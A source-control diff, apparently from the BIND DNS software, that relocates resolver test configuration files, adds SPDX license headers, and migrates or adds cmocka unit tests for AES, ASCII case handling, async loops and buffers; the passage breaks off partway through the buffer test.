+++ b/tests/irs/testdata/options-attempts.conf
@@ -0,0 +1,12 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+options attempts:4
diff --git a/lib/irs/tests/testdata/options-bad-ndots.conf b/tests/irs/testdata/options-bad-ndots.conf
similarity index 91%
rename from lib/irs/tests/testdata/options-bad-ndots.conf
rename to tests/irs/testdata/options-bad-ndots.conf
index f827c2eb3a..18d3f8be34 100644
--- a/lib/irs/tests/testdata/options-bad-ndots.conf
+++ b/tests/irs/testdata/options-bad-ndots.conf
@@ -1,5 +1,7 @@
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
 # License, v. 2.0. If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/lib/irs/tests/testdata/options-debug.conf b/tests/irs/testdata/options-debug.conf
similarity index 91%
rename from lib/irs/tests/testdata/options-debug.conf
rename to tests/irs/testdata/options-debug.conf
index f3f0f24aea..04bcf2e820 100644
--- a/lib/irs/tests/testdata/options-debug.conf
+++ b/tests/irs/testdata/options-debug.conf
@@ -1,5 +1,7 @@
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
 # License, v. 2.0. If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/lib/irs/tests/testdata/options-empty.conf b/tests/irs/testdata/options-empty.conf
similarity index 91%
rename from lib/irs/tests/testdata/options-empty.conf
rename to tests/irs/testdata/options-empty.conf
index 84bcb2b83b..0b1dc9e1c5 100644
--- a/lib/irs/tests/testdata/options-empty.conf
+++ b/tests/irs/testdata/options-empty.conf
@@ -1,5 +1,7 @@
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
 # License, v. 2.0. If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/lib/irs/tests/testdata/options-ndots.conf b/tests/irs/testdata/options-ndots.conf
similarity index 87%
rename from lib/irs/tests/testdata/options-ndots.conf
rename to tests/irs/testdata/options-ndots.conf
index ff4c7e99ee..f37c712a71 100644
--- a/lib/irs/tests/testdata/options-ndots.conf
+++ b/tests/irs/testdata/options-ndots.conf
@@ -1,5 +1,7 @@
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
 # License, v. 2.0. If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -7,4 +9,4 @@
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
-option ndots:2
+options ndots:2
diff --git a/lib/irs/tests/testdata/options-timeout.conf b/tests/irs/testdata/options-timeout.conf
similarity index 91%
rename from lib/irs/tests/testdata/options-timeout.conf
rename to tests/irs/testdata/options-timeout.conf
index 7fd6550c31..96787c46f6 100644
--- a/lib/irs/tests/testdata/options-timeout.conf
+++ b/tests/irs/testdata/options-timeout.conf
@@ -1,5 +1,7 @@
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
 # License, v. 2.0. If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/lib/irs/tests/testdata/options-unknown.conf b/tests/irs/testdata/options-unknown.conf
similarity index 91%
rename from lib/irs/tests/testdata/options-unknown.conf
rename to tests/irs/testdata/options-unknown.conf
index d67488087f..fdf82b46cf 100644
--- a/lib/irs/tests/testdata/options-unknown.conf
+++ b/tests/irs/testdata/options-unknown.conf
@@ -1,5 +1,7 @@
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
 # License, v. 2.0. If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/lib/irs/tests/testdata/options.conf b/tests/irs/testdata/options.conf
similarity index 91%
rename from lib/irs/tests/testdata/options.conf
rename to tests/irs/testdata/options.conf
index fc9e7ae8b9..7a8d5f3ec1 100644
--- a/lib/irs/tests/testdata/options.conf
+++ b/tests/irs/testdata/options.conf
@@ -1,5 +1,7 @@
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
 # License, v. 2.0. If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/lib/irs/tests/testdata/port.conf b/tests/irs/testdata/port.conf
similarity index 91%
rename from lib/irs/tests/testdata/port.conf
rename to tests/irs/testdata/port.conf
index 6282f9e9e4..54e20943d3 100644
--- a/lib/irs/tests/testdata/port.conf
+++ b/tests/irs/testdata/port.conf
@@ -1,5 +1,7 @@
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
 # License, v. 2.0. If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/tests/irs/testdata/resolv.conf b/tests/irs/testdata/resolv.conf
new file mode 100644
index 0000000000..3c144081c0
--- /dev/null
+++ b/tests/irs/testdata/resolv.conf
@@ -0,0 +1,19 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+port 5300
+nameserver 10.0.0.1
+nameserver 2001:DB8::1
+search example.com example.net
+sortlist 130.155.160.0/255.255.240.0 130.155.0.0
+timeout 10
+unknown directive
+options unknown debug timeout:1 ndots:2
diff --git a/lib/irs/tests/testdata/search.conf b/tests/irs/testdata/search.conf
similarity index 91%
rename from lib/irs/tests/testdata/search.conf
rename to tests/irs/testdata/search.conf
index a07d296017..f019ab9817 100644
--- a/lib/irs/tests/testdata/search.conf
+++ b/tests/irs/testdata/search.conf
@@ -1,5 +1,7 @@
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
 # License, v. 2.0. If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/lib/irs/tests/testdata/sortlist-v4.conf b/tests/irs/testdata/sortlist-v4.conf
similarity index 91%
rename from lib/irs/tests/testdata/sortlist-v4.conf
rename to tests/irs/testdata/sortlist-v4.conf
index cba4478167..3f4d54a430 100644
--- a/lib/irs/tests/testdata/sortlist-v4.conf
+++ b/tests/irs/testdata/sortlist-v4.conf
@@ -1,5 +1,7 @@
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
 # License, v. 2.0. If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/lib/irs/tests/testdata/timeout.conf b/tests/irs/testdata/timeout.conf
similarity index 91%
rename from lib/irs/tests/testdata/timeout.conf
rename to tests/irs/testdata/timeout.conf
index 9b13aa5e89..2ccb92d1ad 100644
--- a/lib/irs/tests/testdata/timeout.conf
+++ b/tests/irs/testdata/timeout.conf
@@ -1,5 +1,7 @@
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
 # License, v. 2.0. If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/lib/irs/tests/testdata/unknown.conf b/tests/irs/testdata/unknown.conf
similarity index 91%
rename from lib/irs/tests/testdata/unknown.conf
rename to tests/irs/testdata/unknown.conf
index 4f868e1736..0eafb76ecb 100644
--- a/lib/irs/tests/testdata/unknown.conf
+++ b/tests/irs/testdata/unknown.conf
@@ -1,5 +1,7 @@
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
 # License, v. 2.0. If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/tests/isc/Makefile.am b/tests/isc/Makefile.am
new file mode 100644
index 0000000000..6cbf073984
--- /dev/null
+++ b/tests/isc/Makefile.am
@@ -0,0 +1,183 @@
+include $(top_srcdir)/Makefile.top
+
+AM_CPPFLAGS +=			\
+	$(LIBISC_CFLAGS)	\
+	$(LIBURCU_CFLAGS)	\
+	$(LIBUV_CFLAGS)		\
+	-I$(top_srcdir)/lib/isc
+
+LDADD +=			\
+	$(LIBISC_LIBS)		\
+	$(LIBURCU_LIBS)		\
+	$(LIBUV_LIBS)
+
+check_PROGRAMS =	\
+	ascii_test	\
+	aes_test	\
+	async_test	\
+	buffer_test	\
+	counter_test	\
+	crc64_test	\
+	dnsstream_utils_test \
+	errno_test	\
+	file_test	\
+	hash_test	\
+	hashmap_test	\
+	heap_test	\
+	histo_test	\
+	hmac_test	\
+	ht_test		\
+	job_test	\
+	lex_test	\
+	loop_test	\
+	md_test		\
+	mem_test	\
+	mutex_test	\
+	netaddr_test	\
+	parse_test	\
+	quota_test	\
+	radix_test	\
+	random_test	\
+	ratelimiter_test\
+	regex_test	\
+	result_test	\
+	rwlock_test	\
+	safe_test	\
+	siphash_test	\
+	sockaddr_test	\
+	spinlock_test	\
+	stats_test	\
+	symtab_test	\
+	tcp_test	\
+	tcpdns_test	\
+	time_test	\
+	timer_test	\
+	tls_test	\
+	tlsdns_test	\
+	udp_test	\
+	work_test
+
+if HAVE_LIBNGHTTP2
+check_PROGRAMS +=	\
+	doh_test
+
+doh_test_CPPFLAGS =	\
+	$(AM_CPPFLAGS)	\
+	$(LIBNGHTTP2_CFLAGS)	\
+	$(OPENSSL_CFLAGS)
+
+doh_test_LDADD =	\
+	$(LDADD)	\
+	$(LIBNGHTTP2_LIBS)
+
+doh_test_SOURCES =	\
+	doh_test.c	\
+	uv_wrap.h
+
+endif HAVE_LIBNGHTTP2
+
+dnsstream_utils_test_CPPFLAGS =	\
+	$(AM_CPPFLAGS)
+
+dnsstream_utils_test_LDADD =	\
+	$(LDADD)
+
+dnsstream_utils_test_SOURCES =	\
+	dnsstream_utils_test.c \
+	dnsstream_utils_test_data.h
+
+hmac_test_CPPFLAGS =	\
+	$(AM_CPPFLAGS)	\
+	$(OPENSSL_CFLAGS)
+
+hmac_test_LDADD =	\
+	$(LDADD)	\
+	$(OPENSSL_LIBS)
+
+md_test_CPPFLAGS =	\
+	$(AM_CPPFLAGS)	\
+	$(OPENSSL_CFLAGS)
+
+md_test_LDADD =		\
+	$(LDADD)	\
+	$(OPENSSL_LIBS)
+
+random_test_LDADD =	\
+	$(LDADD)	\
+	-lm
+
+tcp_test_CPPFLAGS =	\
+	$(AM_CPPFLAGS)	\
+	$(OPENSSL_CFLAGS)
+
+tcp_test_LDADD =	\
+	$(LDADD)	\
+	$(OPENSSL_LIBS)
+
+tcp_test_SOURCES =	\
+	tcp_test.c	\
+	netmgr_common.h \
+	netmgr_common.c \
+	stream_shutdown.c \
+	uv_wrap.h
+
+tcpdns_test_CPPFLAGS =	\
+	$(AM_CPPFLAGS)	\
+	$(OPENSSL_CFLAGS)
+
+tcpdns_test_LDADD =	\
+	$(LDADD)	\
+	$(OPENSSL_LIBS)
+
+tcpdns_test_SOURCES =	\
+	tcpdns_test.c	\
+	netmgr_common.h \
+	netmgr_common.c \
+	uv_wrap.h
+
+tls_test_CPPFLAGS =	\
+	$(AM_CPPFLAGS)	\
+	$(OPENSSL_CFLAGS)
+
+tls_test_LDADD =	\
+	$(LDADD)	\
+	$(OPENSSL_LIBS)
+
+tls_test_SOURCES =	\
+	tls_test.c	\
+	netmgr_common.h \
+	netmgr_common.c \
+	stream_shutdown.c \
+	uv_wrap.h
+
+tlsdns_test_CPPFLAGS =	\
+	$(AM_CPPFLAGS)	\
+	$(OPENSSL_CFLAGS)
+
+tlsdns_test_LDADD =	\
+	$(LDADD)	\
+	$(OPENSSL_LIBS)
+
+tlsdns_test_SOURCES =	\
+	tlsdns_test.c	\
+	netmgr_common.h \
+	netmgr_common.c \
+	uv_wrap.h
+
+udp_test_CPPFLAGS =	\
+	$(AM_CPPFLAGS)	\
+	$(OPENSSL_CFLAGS)
+
+udp_test_LDADD =	\
+	$(LDADD)	\
+	$(OPENSSL_LIBS)
+
+udp_test_SOURCES =	\
+	udp_test.c	\
+	netmgr_common.h \
+	netmgr_common.c \
+	uv_wrap.h
+
+EXTRA_DIST = testdata
+
+include $(top_srcdir)/Makefile.tests
diff --git a/lib/isc/tests/aes_test.c b/tests/isc/aes_test.c
similarity index 91%
rename from lib/isc/tests/aes_test.c
rename to tests/isc/aes_test.c
index 919c572786..9e9ea22898 100644
--- a/lib/isc/tests/aes_test.c
+++ b/tests/isc/aes_test.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,8 @@
  * information regarding copyright ownership.
  */
 
-#if HAVE_CMOCKA
-
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
 #include <setjmp.h>
 #include <stdarg.h>
 #include <stddef.h>
@@ -24,11 +26,12 @@
 #include <isc/aes.h>
 #include <isc/buffer.h>
 #include <isc/hex.h>
-#include <isc/platform.h>
 #include <isc/region.h>
 #include <isc/string.h>
 #include <isc/util.h>
 
+#include <tests/isc.h>
+
 /*
  * Test data from NIST KAT
  */
@@ -76,8 +79,7 @@ typedef struct aes_testcase {
 } aes_testcase_t;
 
 /* AES 128 test vectors */
-static void
-isc_aes128_test(void **state) {
+ISC_RUN_TEST_IMPL(isc_aes128_test) {
 	aes_testcase_t testcases[] = { /* Test 1 (KAT ECBVarTxt128 #3) */
 				       { "00000000000000000000000000000000",
 					 "F0000000000000000000000000000000",
@@ -123,8 +125,7 @@ isc_aes128_test(void **state) {
 }
 
 /* AES 192 test vectors */
-static void
-isc_aes192_test(void **state) {
+ISC_RUN_TEST_IMPL(isc_aes192_test) {
 	aes_testcase_t testcases[] = {
 		/* Test 1 (KAT ECBVarTxt192 #3) */
 		{ "000000000000000000000000000000000000000000000000",
@@ -155,8 +156,6 @@ isc_aes192_test(void **state) {
 
 	aes_testcase_t *testcase = testcases;
 
-	UNUSED(state);
-
 	while (testcase->key != NULL) {
 		len = fromhexstr(testcase->key, key);
 		assert_int_equal(len, ISC_AES192_KEYLENGTH);
@@ -171,8 +170,7 @@ isc_aes192_test(void **state) {
 }
 
 /* AES 256 test vectors */
-static void
-isc_aes256_test(void **state) {
+ISC_RUN_TEST_IMPL(isc_aes256_test) {
 	aes_testcase_t testcases[] = { /* Test 1 (KAT ECBVarTxt256 #3) */
 				       { "00000000000000000000000000000000"
 					 "00000000000000000000000000000000",
@@ -223,25 +221,12 @@ isc_aes256_test(void **state) {
 	}
 }
 
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test(isc_aes128_test),
-		cmocka_unit_test(isc_aes192_test),
-		cmocka_unit_test(isc_aes256_test),
-	};
+ISC_TEST_LIST_START
 
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
+ISC_TEST_ENTRY(isc_aes128_test)
+ISC_TEST_ENTRY(isc_aes192_test)
+ISC_TEST_ENTRY(isc_aes256_test)
 
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
+ISC_TEST_LIST_END
 
-#endif /* if HAVE_CMOCKA */
+ISC_TEST_MAIN
diff --git a/tests/isc/ascii_test.c b/tests/isc/ascii_test.c
new file mode 100644
index 0000000000..f49b64b9e2
--- /dev/null
+++ b/tests/isc/ascii_test.c
@@ -0,0 +1,179 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <ctype.h>
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stdlib.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/ascii.h>
+
+#include <tests/isc.h>
+
+const char *same[][2] = {
+	{
+		"AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz",
+		"aabbccddeeffgghhiijjkkllmmnnooppqqrrssttuuvvwwxxyyzz",
+	},
+	{
+		"aabbccddeeffgghhiijjkkllmmnnooppqqrrssttuuvvwwxxyyzz",
+		"AABBCCDDEEFFGGHHIIJJKKLLMMNNOOPPQQRRSSTTUUVVWWXXYYZZ",
+	},
+	{
+		"AABBCCDDEEFFGGHHIIJJKKLLMMNNOOPPQQRRSSTTUUVVWWXXYYZZ",
+		"aabbccddeeffgghhiijjkkllmmnnooppqqrrssttuuvvwwxxyyzz",
+	},
+	{
+		"aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ",
+		"aabbccddeeffgghhiijjkkllmmnnooppqqrrssttuuvvwwxxyyzz",
+	},
+	{
+		"aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVxXyYzZ",
+		"aabbccddeeffgghhiijjkkllmmnnooppqqrrssttuuvvxxyyzz",
+	},
+	{
+		"WwW.ExAmPlE.OrG",
+		"wWw.eXaMpLe.oRg",
+	},
+	{
+		"_SIP.tcp.example.org",
+		"_sip.TCP.example.org",
+	},
+	{
+		"bind-USERS.lists.example.org",
+		"bind-users.lists.example.org",
+	},
+	{
+		"a0123456789.example.org",
+		"A0123456789.example.org",
+	},
+	{
+		"\\000.example.org",
+		"\\000.example.org",
+	},
+	{
+		"wWw.\\000.isc.org",
+		"www.\\000.isc.org",
+	},
+	{
+		"\255.example.org",
+		"\255.example.ORG",
+	}
+};
+
+struct {
+	const char *a, *b;
+	int cmp;
+} diff[] = {
+	{ "foo", "bar", +1 },
+	{ "bar", "foo", -1 },
+	{ "foosuffix", "barsuffix", +1 },
+	{ "barsuffix", "foosuffix", -1 },
+	{ "prefixfoo", "prefixbar", +1 },
+	{ "prefixbar", "prefixfoo", -1 },
+};
+
+ISC_RUN_TEST_IMPL(upperlower) {
+	UNUSED(state);
+
+	for (size_t n = 0; n < ARRAY_SIZE(same); n++) {
+		const char *a = same[n][0];
+		const char *b = same[n][1];
+		for (size_t i = 0; a[i] != '\0' && b[i] != '\0'; i++) {
+			assert_true(isc_ascii_toupper(a[i]) == (uint8_t)a[i] ||
+				    isc_ascii_tolower(a[i]) == (uint8_t)a[i]);
+			assert_true(isc_ascii_toupper(b[i]) == (uint8_t)b[i] ||
+				    isc_ascii_tolower(b[i]) == (uint8_t)b[i]);
+			assert_true(isc_ascii_toupper(a[i]) ==
+				    isc_ascii_toupper(b[i]));
+			assert_true(isc_ascii_tolower(a[i]) ==
+				    isc_ascii_tolower(b[i]));
+		}
+	}
+}
+
+ISC_RUN_TEST_IMPL(lowerequal) {
+	for (size_t n = 0; n < ARRAY_SIZE(same); n++) {
+		const uint8_t *a = (void *)same[n][0];
+		const uint8_t *b = (void *)same[n][1];
+		unsigned int len = (unsigned int)strlen(same[n][0]);
+		assert_true(isc_ascii_lowerequal(a, b, len));
+	}
+	for (size_t n = 0; n < ARRAY_SIZE(diff); n++) {
+		const uint8_t *a = (void *)diff[n].a;
+		const uint8_t *b = (void *)diff[n].b;
+		unsigned int len = (unsigned int)strlen(diff[n].a);
+		assert_true(!isc_ascii_lowerequal(a, b, len));
+	}
+}
+
+ISC_RUN_TEST_IMPL(lowercmp) {
+	for (size_t n = 0; n < ARRAY_SIZE(same); n++) {
+		const uint8_t *a = (void *)same[n][0];
+		const uint8_t *b = (void *)same[n][1];
+		unsigned int len = (unsigned int)strlen(same[n][0]);
+		assert_true(isc_ascii_lowercmp(a, b, len) == 0);
+	}
+	for (size_t n = 0; n < ARRAY_SIZE(diff); n++) {
+		const uint8_t *a = (void *)diff[n].a;
+		const uint8_t *b = (void *)diff[n].b;
+		unsigned int len = (unsigned int)strlen(diff[n].a);
+		assert_true(isc_ascii_lowercmp(a, b, len) == diff[n].cmp);
+	}
+}
+
+ISC_RUN_TEST_IMPL(exhaustive) {
+	for (uint64_t ab = 0; ab < (1 << 16); ab++) {
+		uint8_t a = ab >> 8;
+		uint8_t b = ab & 0xFF;
+		uint64_t abc = tolower(a) << 8 | tolower(b);
+		uint64_t abi = isc_ascii_tolower(a) << 8 | isc_ascii_tolower(b);
+		uint64_t ab1 = isc__ascii_tolower1(a) << 8 |
+			       isc__ascii_tolower1(b);
+		uint64_t ab8 = isc_ascii_tolower8(ab);
+		/* each byte individually matches ctype.h */
+		assert_int_equal(tolower(a), isc_ascii_tolower(a));
+		assert_int_equal(tolower(a), isc__ascii_tolower1(a));
+		assert_int_equal(tolower(a), isc_ascii_tolower8(a));
+		assert_int_equal(tolower(b), isc_ascii_tolower(b));
+		assert_int_equal(tolower(b), isc__ascii_tolower1(b));
+		assert_int_equal(tolower(b), isc_ascii_tolower8(b));
+		/* two lanes of SWAR match other implementations */
+		assert_int_equal(ab8, abc);
+		assert_int_equal(ab8, abi);
+		assert_int_equal(ab8, ab1);
+		/* check lack of overflow */
+		assert_int_equal(ab8 >> 16, 0);
+		/* all lanes of SWAR work */
+		assert_int_equal(isc_ascii_tolower8(ab << 8), abc << 8);
+		assert_int_equal(isc_ascii_tolower8(ab << 16), abc << 16);
+		assert_int_equal(isc_ascii_tolower8(ab << 24), abc << 24);
+		assert_int_equal(isc_ascii_tolower8(ab << 32), abc << 32);
+		assert_int_equal(isc_ascii_tolower8(ab << 40), abc << 40);
+		assert_int_equal(isc_ascii_tolower8(ab << 48), abc << 48);
+	}
+}
+
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY(upperlower)
+ISC_TEST_ENTRY(lowerequal)
+ISC_TEST_ENTRY(lowercmp)
+ISC_TEST_ENTRY(exhaustive)
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/tests/isc/async_test.c b/tests/isc/async_test.c
new file mode 100644
index 0000000000..c56a12b75b
--- /dev/null
+++ b/tests/isc/async_test.c
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/async.h>
+#include <isc/atomic.h>
+#include <isc/loop.h>
+#include <isc/os.h>
+#include <isc/result.h>
+#include <isc/tid.h>
+#include <isc/util.h>
+
+#include "async.c"
+
+#include <tests/isc.h>
+
+static atomic_uint scheduled = 0;
+
+static void
+async_cb(void *arg) {
+	uint32_t tid = isc_tid();
+
+	UNUSED(arg);
+
+	atomic_fetch_add(&scheduled, 1);
+
+	if (tid > 0) {
+		isc_loop_t *loop = isc_loop_get(loopmgr, tid - 1);
+		isc_async_run(loop, async_cb, loopmgr);
+	} else {
+		isc_loopmgr_shutdown(loopmgr);
+	}
+}
+
+static void
+async_setup_cb(void *arg) {
+	uint32_t tid = isc_loopmgr_nloops(loopmgr) - 1;
+	isc_loop_t *loop = isc_loop_get(loopmgr, tid);
+
+	UNUSED(arg);
+
+	isc_async_run(loop, async_cb, loopmgr);
+}
+
+ISC_RUN_TEST_IMPL(isc_async_run) {
+	isc_loop_setup(isc_loop_main(loopmgr), async_setup_cb, loopmgr);
+	isc_loopmgr_run(loopmgr);
+	assert_int_equal(atomic_load(&scheduled), loopmgr->nloops);
+}
+
+static char string[32] = "";
+int n1 = 1, n2 = 2, n3 = 3, n4 = 4, n5 = 5;
+
+static void
+append(void *arg) {
+	char value[32];
+	sprintf(value, "%d", *(int *)arg);
+	strlcat(string, value, 10);
+}
+
+static void
+async_multiple(void *arg) {
+	isc_loop_t *loop = isc_loop_current(loopmgr);
+
+	UNUSED(arg);
+
+	isc_async_run(loop, append, &n1);
+	isc_async_run(loop, append, &n2);
+	isc_async_run(loop, append, &n3);
+	isc_async_run(loop, append, &n4);
+	isc_async_run(loop, append, &n5);
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+ISC_RUN_TEST_IMPL(isc_async_multiple) {
+	string[0] = '\0';
+	isc_loop_setup(isc_loop_main(loopmgr), async_multiple, loopmgr);
+	isc_loopmgr_run(loopmgr);
+	assert_string_equal(string, "12345");
+}
+
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY_CUSTOM(isc_async_run, setup_loopmgr, teardown_loopmgr)
+ISC_TEST_ENTRY_CUSTOM(isc_async_multiple, setup_loopmgr, teardown_loopmgr)
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/tests/isc/buffer_test.c b/tests/isc/buffer_test.c
new file mode 100644
index 0000000000..fe6d2bcc27
--- /dev/null
+++ b/tests/isc/buffer_test.c
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <fcntl.h>
+#include <inttypes.h>
+#include <limits.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/buffer.h>
+#include <isc/region.h>
+#include <isc/result.h>
+#include <isc/types.h>
+#include <isc/util.h>
+
+#include <tests/isc.h>
+
+/* reserve space in dynamic buffers */
+ISC_RUN_TEST_IMPL(isc_buffer_reserve) {
+	isc_result_t result;
+	isc_buffer_t *b;
+
+	UNUSED(state);
+
+	b = NULL;
+	isc_buffer_allocate(mctx, &b, ISC_BUFFER_INCR);
+	assert_int_equal(b->length, ISC_BUFFER_INCR);
+
+	/*
+	 * 512 bytes should already be available, so this call does
+	 * nothing.
+	 */
+	result = isc_buffer_reserve(b, 512);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_non_null(b);
+	assert_int_equal(b->length, ISC_BUFFER_INCR);
+
+	/*
+	 * This call should grow it to 1536 bytes as only 1024 bytes are
+	 * available in the buffer.
+	 */
+	result = isc_buffer_reserve(b, 1025);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_non_null(b);
+	assert_int_equal(b->length, 3 * ISC_BUFFER_INCR);
+
+	/*
+	 * 1536 bytes should already be available, so this call does
+	 * nothing.
+	 */
+	result = isc_buffer_reserve(b, 1500);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_non_null(b);
+	assert_int_equal(b->length, 3 * ISC_BUFFER_INCR);
+
+	/*
+	 * This call should grow it to 4096 bytes as only 1536 bytes are
+	 * available in the buffer.
+	 */
+	result = isc_buffer_reserve(b, 3585);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_non_null(b);
+	assert_int_equal(b->length, 8 * ISC_BUFFER_INCR);
+
+	/* Consume some of the buffer so we can run the next test. */
+	isc_buffer_add(b, 4096);
+
+	/*
+	 * This call should fail and leave buffer untouched.
+	 */
+	result = isc_buffer_reserve(b, UINT_MAX);
+	assert_int_equal(result, ISC_R_NOMEMORY);
+	assert_non_null(b);
+	assert_int_equal(b->length, 8 * ISC_BUFFER_INCR);
+
+	isc_buffer_free(&b);
+}
+
+/* dynamic buffer automatic reallocation */
+ISC_RUN_TEST_IMPL(isc_buffer_dynamic) {
+	isc_buffer_t *b;
